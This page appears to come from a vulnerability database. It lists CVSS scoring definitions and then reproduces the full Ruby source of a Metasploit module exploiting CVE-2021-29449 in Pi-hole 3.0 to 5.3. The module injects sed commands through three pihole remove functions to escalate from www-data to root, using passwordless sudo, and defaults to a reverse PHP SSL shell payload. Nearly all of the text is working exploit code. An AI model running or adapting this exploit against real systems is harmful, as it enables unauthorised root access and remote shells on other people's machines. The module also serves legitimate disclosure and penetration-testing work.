The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Pi-Hole Remove Commands Linux Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
# includes: is_root?
include Msf::Post::Linux::Priv
# includes writable?, upload_file, upload_and_chmodx, exploit_data
include Msf::Post::File
# for whoami
include Msf::Post::Unix
# for get_session_pid needed by whoami
include Msf::Post::Linux::System
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pi-Hole Remove Commands Linux Priv Esc',
'Description' => %q{
Pi-Hole versions 3.0 - 5.3 allows for command line input to the removecustomcname,
removecustomdns, and removestaticdhcp functions without properly validating
the parameters before passing to sed. When executed as the www-data user,
this allows for a privilege escalation to root since www-data is in the
sudoers.d/pihole file with no password.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # msf module
'Emanuele Barbeno <emanuele.barbeno[at]compass-security.com>' # original PoC, analysis
],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_php_ssl' },
'Payload' =>
{
'BadChars' => "\x27" # '
},
'Privileged' => true,
'References' =>
[
[ 'URL', 'https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj' ],
[ 'URL', 'https://www.compass-security.com/fileadmin/Research/Advisories/2021-02_CSNC-2021-008_Pi-hole_Privilege_Escalation.txt' ],
[ 'CVE', '2021-29449' ]
],
'DisclosureDate' => '2021-04-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
},
'Targets' => [
['DHCP', { 'min' => Rex::Version.new('3.0') }], # exploitable by default, expecially when combined with unix/http/pihole_dhcp_mac_exec
['DNS', { 'min' => Rex::Version.new('5.0') }],
['CNAME', { 'min' => Rex::Version.new('5.1') }],
],
'DefaultTarget' => 0
)
)
end
def sudo_pihole
'sudo /usr/local/bin/pihole -a'
end
def pihole_version
version = cmd_exec('sudo /usr/local/bin/pihole -v')
/Pi-hole version is v([^ ]+)/ =~ version
Rex::Version.new(Regexp.last_match(1))
end
def check
w = whoami
print_status("Current user: #{w}")
v = pihole_version
print_status("Pi-hole version: #{v}")
unless v.between?(target['min'], Rex::Version.new('5.3'))
return CheckCode::Safe("Pi-Hole version #{v} is >= 5.3 and not vulnerable")
end
unless w == 'www-data'
return CheckCode::Safe("User must be www-data, currently #{w}")
end
CheckCode::Appears("Pi-Hole #{v} with user #{w} is vulnerable and exploitable")
end
def method_dhcp
f = '/etc/dnsmasq.d/04-pihole-static-dhcp.conf'
if !file?(f) || read_file(f).empty?
mac = Faker::Internet.mac_address
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding static DHCP #{mac} #{ip}")
cmd_exec("#{sudo_pihole} addstaticdhcp '#{mac}' '#{ip}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removestaticdhcp command')
cmd_exec("#{sudo_pihole} removestaticdhcp 'a/d ; 1e #{payload.encoded} ; /'")
if mac
cmd_exec("#{sudo_pihole} removestaticdhcp '#{mac}'")
end
end
def method_dns
f = '/etc/pihole/custom.list'
if !file?(f) || read_file(f).empty?
name = Faker::Internet.domain_name
ip = "10.199.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}"
print_status("Adding DNS entry #{name} #{ip}")
cmd_exec("#{sudo_pihole} addcustomdns '#{ip}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomdns command')
cmd_exec("#{sudo_pihole} removecustomdns 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomdns '#{ip}' '#{name}'")
end
end
def method_cname
f = '/etc/dnsmasq.d/05-pihole-custom-cname.conf'
if !file?(f) || read_file(f).empty?
name = "#{rand_text_alphanumeric(8..12)}.edu"
print_status("Adding CNAME entry #{name}")
cmd_exec("#{sudo_pihole} addcustomcname '#{name}' '#{name}'")
end
unless file?(f)
print_error("Config file not found: #{f}")
return
end
print_good("#{f} found!")
print_status('Executing payload against removecustomcname command')
cmd_exec("#{sudo_pihole} removecustomcname 'a/d ; 1e #{payload.encoded} ; /'")
if name
cmd_exec("#{sudo_pihole} removecustomcname '#{name}' '#{name}'")
end
end
def exploit
if target.name == 'DHCP'
method_dhcp
elsif target.name == 'DNS'
method_dns
elsif target.name == 'CNAME'
method_cname
end
end
end
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